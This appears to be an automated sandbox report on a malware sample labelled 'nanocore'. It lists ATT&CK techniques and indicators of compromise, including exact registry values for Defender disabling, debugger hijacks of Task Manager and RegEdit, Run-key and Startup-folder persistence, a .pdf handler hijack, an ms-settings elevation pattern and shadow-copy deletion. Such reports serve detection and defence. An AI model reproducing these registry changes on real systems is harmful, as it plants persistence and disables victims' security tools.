nanocore | 52b67e8737549e5813e719637e1d79efa512ce4e77a8915626dbbca41413271f

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	pooker.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2924	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	pooker.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	pooker.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	pooker.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pooker.io_chrome.exe"	pooker.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	pooker.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pooker.io_chrome.exe"	pooker.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	pooker.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pooker.io_chrome.exe"	pooker.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
5100	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	pooker.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	pooker.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	pooker.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pooker.io_chrome.exe"	pooker.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pooker.io_chrome.exe"	pooker.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pooker.io_chrome.exe"	pooker.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1096	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\sysupdate.exe	pooker.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	pooker.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	pooker.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2860	wscript.exe
3704	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	pooker.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	pooker.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3432	sc.exe
2948	sc.exe
3620	sc.exe
5796	sc.exe
4596	sc.exe
5624	sc.exe
2988	sc.exe
1624	sc.exe
3648	sc.exe
1608	sc.exe
3404	sc.exe
2448	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2368	cmd.exe
2948	cmd.exe
4772	cmd.exe
4120	cmd.exe
5772	cmd.exe
5508	cmd.exe
3788	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3132	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3376	NETSTAT.EXE
4916	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4232	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1732	vssadmin.exe
3412	vssadmin.exe
2128	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	pooker.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134304472761794723"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pooker.io_chrome.exe"	pooker.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	pooker.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	pooker.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	pooker.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	pooker.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	pooker.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	pooker.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	pooker.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	pooker.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	pooker.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	pooker.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	pooker.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pooker.io_chrome.exe\" \"%1\""	pooker.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	pooker.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	pooker.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	pooker.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5104	schtasks.exe
4132	schtasks.exe
3912	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2088	chrome.exe
2088	chrome.exe
2924	powershell.exe
2924	powershell.exe
2924	powershell.exe
6028	WMIC.exe
6028	WMIC.exe
6028	WMIC.exe
6028	WMIC.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
2888	WMIC.exe
2888	WMIC.exe
2888	WMIC.exe
2888	WMIC.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
3844	WMIC.exe
3844	WMIC.exe
3844	WMIC.exe
3844	WMIC.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe
1492	pooker.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1492	pooker.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2088	chrome.exe
Token: SeCreatePagefilePrivilege	2088	chrome.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeShutdownPrivilege	2088	chrome.exe
Token: SeCreatePagefilePrivilege	2088	chrome.exe
Token: SeShutdownPrivilege	2088	chrome.exe
Token: SeCreatePagefilePrivilege	2088	chrome.exe
Token: SeIncreaseQuotaPrivilege	2924	powershell.exe
Token: SeSecurityPrivilege	2924	powershell.exe
Token: SeTakeOwnershipPrivilege	2924	powershell.exe
Token: SeLoadDriverPrivilege	2924	powershell.exe
Token: SeSystemProfilePrivilege	2924	powershell.exe
Token: SeSystemtimePrivilege	2924	powershell.exe
Token: SeProfSingleProcessPrivilege	2924	powershell.exe
Token: SeIncBasePriorityPrivilege	2924	powershell.exe
Token: SeCreatePagefilePrivilege	2924	powershell.exe
Token: SeBackupPrivilege	2924	powershell.exe
Token: SeRestorePrivilege	2924	powershell.exe
Token: SeShutdownPrivilege	2924	powershell.exe
Token: SeDebugPrivilege	2924	powershell.exe
Token: SeSystemEnvironmentPrivilege	2924	powershell.exe
Token: SeRemoteShutdownPrivilege	2924	powershell.exe
Token: SeUndockPrivilege	2924	powershell.exe
Token: SeManageVolumePrivilege	2924	powershell.exe
Token: 33	2924	powershell.exe
Token: 34	2924	powershell.exe
Token: 35	2924	powershell.exe
Token: 36	2924	powershell.exe
Token: SeShutdownPrivilege	2088	chrome.exe
Token: SeCreatePagefilePrivilege	2088	chrome.exe
Token: SeIncreaseQuotaPrivilege	6028	WMIC.exe
Token: SeSecurityPrivilege	6028	WMIC.exe
Token: SeTakeOwnershipPrivilege	6028	WMIC.exe
Token: SeLoadDriverPrivilege	6028	WMIC.exe
Token: SeSystemProfilePrivilege	6028	WMIC.exe
Token: SeSystemtimePrivilege	6028	WMIC.exe
Token: SeProfSingleProcessPrivilege	6028	WMIC.exe
Token: SeIncBasePriorityPrivilege	6028	WMIC.exe
Token: SeCreatePagefilePrivilege	6028	WMIC.exe
Token: SeBackupPrivilege	6028	WMIC.exe
Token: SeRestorePrivilege	6028	WMIC.exe
Token: SeShutdownPrivilege	6028	WMIC.exe
Token: SeDebugPrivilege	6028	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6028	WMIC.exe
Token: SeRemoteShutdownPrivilege	6028	WMIC.exe
Token: SeUndockPrivilege	6028	WMIC.exe
Token: SeManageVolumePrivilege	6028	WMIC.exe
Token: 33	6028	WMIC.exe
Token: 34	6028	WMIC.exe
Token: 35	6028	WMIC.exe
Token: 36	6028	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6028	WMIC.exe
Token: SeSecurityPrivilege	6028	WMIC.exe
Token: SeTakeOwnershipPrivilege	6028	WMIC.exe
Token: SeLoadDriverPrivilege	6028	WMIC.exe
Token: SeSystemProfilePrivilege	6028	WMIC.exe
Token: SeSystemtimePrivilege	6028	WMIC.exe
Token: SeProfSingleProcessPrivilege	6028	WMIC.exe
Token: SeIncBasePriorityPrivilege	6028	WMIC.exe
Token: SeCreatePagefilePrivilege	6028	WMIC.exe
Token: SeBackupPrivilege	6028	WMIC.exe
Token: SeRestorePrivilege	6028	WMIC.exe
Token: SeShutdownPrivilege	6028	WMIC.exe
Token: SeDebugPrivilege	6028	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe
2088	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1492	pooker.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1492 wrote to memory of 2088	1492	pooker.io_chrome.exe	88
PID 2088 wrote to memory of 2844	2088	chrome.exe	89
PID 1492 wrote to memory of 2924	1492	pooker.io_chrome.exe	90
PID 1492 wrote to memory of 2988	1492	pooker.io_chrome.exe	92
PID 2088 wrote to memory of 3132	2088	chrome.exe	93
PID 2088 wrote to memory of 4700	2088	chrome.exe	94
PID 2088 wrote to memory of 4700	2088	chrome.exe	94
PID 2088 wrote to memory of 5944	2088	chrome.exe	95
PID 2088 wrote to memory of 5944	2088	chrome.exe	95
PID 2088 wrote to memory of 4420	2088	chrome.exe	98
PID 2088 wrote to memory of 4420	2088	chrome.exe	98
PID 2088 wrote to memory of 1704	2088	chrome.exe	99
PID 2088 wrote to memory of 1704	2088	chrome.exe	99
PID 1492 wrote to memory of 1624	1492	pooker.io_chrome.exe	100
PID 1492 wrote to memory of 3648	1492	pooker.io_chrome.exe	102
PID 2088 wrote to memory of 1512	2088	chrome.exe	106
PID 2088 wrote to memory of 1512	2088	chrome.exe	106
PID 1492 wrote to memory of 1608	1492	pooker.io_chrome.exe	105
PID 1492 wrote to memory of 2948	1492	pooker.io_chrome.exe	140
PID 1492 wrote to memory of 3404	1492	pooker.io_chrome.exe	110
PID 1492 wrote to memory of 3620	1492	pooker.io_chrome.exe	139
PID 1492 wrote to memory of 2448	1492	pooker.io_chrome.exe	114
PID 1492 wrote to memory of 3900	1492	pooker.io_chrome.exe	116
PID 1492 wrote to memory of 3432	1492	pooker.io_chrome.exe	117
PID 1492 wrote to memory of 5796	1492	pooker.io_chrome.exe	119
PID 3900 wrote to memory of 2836	3900	fodhelper.exe	121
PID 1492 wrote to memory of 3412	1492	pooker.io_chrome.exe	122
PID 1492 wrote to memory of 6028	1492	pooker.io_chrome.exe	124
PID 1492 wrote to memory of 2860	1492	pooker.io_chrome.exe	131
PID 1492 wrote to memory of 5104	1492	pooker.io_chrome.exe	167
PID 1492 wrote to memory of 4132	1492	pooker.io_chrome.exe	134
PID 1492 wrote to memory of 332	1492	pooker.io_chrome.exe	138
PID 1492 wrote to memory of 2948	1492	pooker.io_chrome.exe	140
PID 1492 wrote to memory of 2368	1492	pooker.io_chrome.exe	142
PID 1492 wrote to memory of 3788	1492	pooker.io_chrome.exe	143
PID 1492 wrote to memory of 5508	1492	pooker.io_chrome.exe	144
